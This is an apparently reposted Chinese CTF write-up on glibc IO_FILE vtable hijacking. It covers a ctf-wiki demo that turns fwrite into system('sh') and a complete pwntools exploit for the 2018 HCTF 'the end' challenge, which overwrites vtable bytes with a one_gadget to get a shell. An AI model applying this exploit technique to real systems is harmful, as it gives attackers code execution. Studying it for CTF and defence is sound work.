IO_FILE hack 修改vtable
Posted Nullan
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了IO_FILE hack 修改vtable相关的知识,希望对你有一定的参考价值。
提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档
IO调用的vtable函数
fread
_IO_sgetn函数调用了vtable的_IO_file_xsgetn。
_IO_doallocbuf函数调用了vtable的_IO_file_doallocate以初始化输入缓冲区。
vtable中的_IO_file_doallocate调用了vtable中的__GI__IO_file_stat以获取文件信息。
__underflow函数调用了vtable中的_IO_new_file_underflow实现文件数据读取。
vtable中的_IO_new_file_underflow调用了vtable__GI__IO_file_read最终去执行系统调用read。
fwrite
_IO_fwrite函数调用了vtable的_IO_new_file_xsputn。
_IO_new_file_xsputn函数调用了vtable中的_IO_new_file_overflow实现缓冲区的建立以及刷新缓冲区。
vtable中的_IO_new_file_overflow函数调用了vtable的_IO_file_doallocate以初始化输入缓冲区。
vtable中的_IO_file_doallocate调用了vtable中的__GI__IO_file_stat以获取文件信息。
new_do_write中的_IO_SYSWRITE调用了vtable_IO_new_file_write最终去执行系统调用write。
fclose
在清空缓冲区的_IO_do_write函数中会调用vtable中的函数。
关闭文件描述符_IO_SYSCLOSE函数为vtable中的__close函数。
_IO_FINISH函数为vtable中的__finish函数。
思路
代码来自于ctf-wiki
#define system_ptr 0x7ffff7a52390;
int main(void)
{
FILE *fp;
long long *vtable_addr,*fake_vtable;
fp=fopen("123.txt","rw");
fake_vtable=malloc(0x40);
vtable_addr=(long long *)((long long)fp+0xd8); //vtable offset d8 is offset
vtable_addr[0]=(long long)fake_vtable; //让头指针指向伪chunk
memcpy(fp,"sh",3);
fake_vtable[7]=system_ptr; //xsputn
fwrite("hi",2,1,fp);
}
修改vtable指针指向我们申请的内存,在vtable中放置了一个system函数的plt
因为vtable会把IO_FILE_PLUS指针当第一个参数传递,所以把sh写入IO——file_plus的头部,这样相当于执行system(‘sh’)
例题
2018 HCTF the end
分析
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
signed int i; // [rsp+4h] [rbp-Ch]
void *buf; // [rsp+8h] [rbp-8h]
sleep(0);
printf("here is a gift %p, good luck ;)\\n", &sleep);
fflush(_bss_start);
close(1);
close(2);
for ( i = 0; i <= 4; ++i )
{
read(0, &buf, 8uLL);
read(0, buf, 1uLL);
}
exit(1337);
}
除了canary全开
可以得到libc基址,通过sleep的地址
思路:
在程序调用 exit 后,会遍历 _IO_list_all ,调用 IO_2_1_stdout 下的 vtable 中 _setbuf 函数。
可以先修改两个字节在当前 vtable 附近伪造一个 fake_vtable ,然后使用 3 个字节修改 fake_vtable 中 _setbuf 的内容为 one_gadget。
先找出 IO_2_1_stdout 和 libc 的偏移,记为off_set_3
然后寻找一个 fake_vtable,使其fake_vtable_addr + 0x58 = libc_base + off_set_3,0x58是这个图
void * funcs[] = {
1 NULL, // "extra word" 0x8
2 NULL, // DUMMY 0x10
3 exit, // finish
4 NULL, // overflow
5 NULL, // underflow
6 NULL, // uflow
7 NULL, // pbackfail
8 NULL, // xsputn #printf
9 NULL, // xsgetn
10 NULL, // seekoff
11 NULL, // seekpos
12 NULL, // setbuf 0x58
13 NULL, // sync
14 NULL, // doallocate
15 NULL, // read
16 NULL, // write
17 NULL, // seek
18 pwn, // close
19 NULL, // stat
20 NULL, // showmanyc
21 NULL, // imbue
};
利用
在0x7f41d9c02500构造fake_vtable
from pwn import *
context.log_level="debug"
libc=ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
# p = process('the_end')
p = remote('127.0.0.1',1234)
rem = 0
if rem ==1:
p = remote('150.109.44.250',20002)
p.recvuntil('Input your token:')
p.sendline('RyyWrOLHepeGXDy6g9gJ5PnXsBfxQ5uU')
#上面是比赛的token,不用管
sleep_ad = p.recvuntil(', good luck',drop=True).split(' ')[-1]
# 通过回显的sleep得到基址
libc_base = long(sleep_ad,16) - libc.symbols['sleep']
one_gadget = libc_base + 0xf02b0 #one_gadget的基地址
vtables = libc_base + 0x3C56F8 # vtable地址
fake_vtable = libc_base + 0x3c5588 # fake_vtable的地址
target_addr = libc_base + 0x3c55e0 # vtable中_setbuf
print 'libc_base: ',hex(libc_base)
print 'one_gadget:',hex(one_gadget)
print 'exit_addr:',hex(libc_base + libc.symbols['exit'])
# gdb.attach(p)
for i in range(2):
p.send(p64(vtables+i))
p.send(p64(fake_vtable)[i])
#两个字节,写入fake_vtable
for i in range(3):
p.send(p64(target_addr+i))
p.send(p64(one_gadget)[i])
#3 个字节修改 fake_vtable 中 _setbuf 的内容为 one_gadget。
p.sendline("exec /bin/sh 1>&0")
p.interactive()
以上是关于IO_FILE hack 修改vtable的主要内容,如果未能解决你的问题,请参考以下文章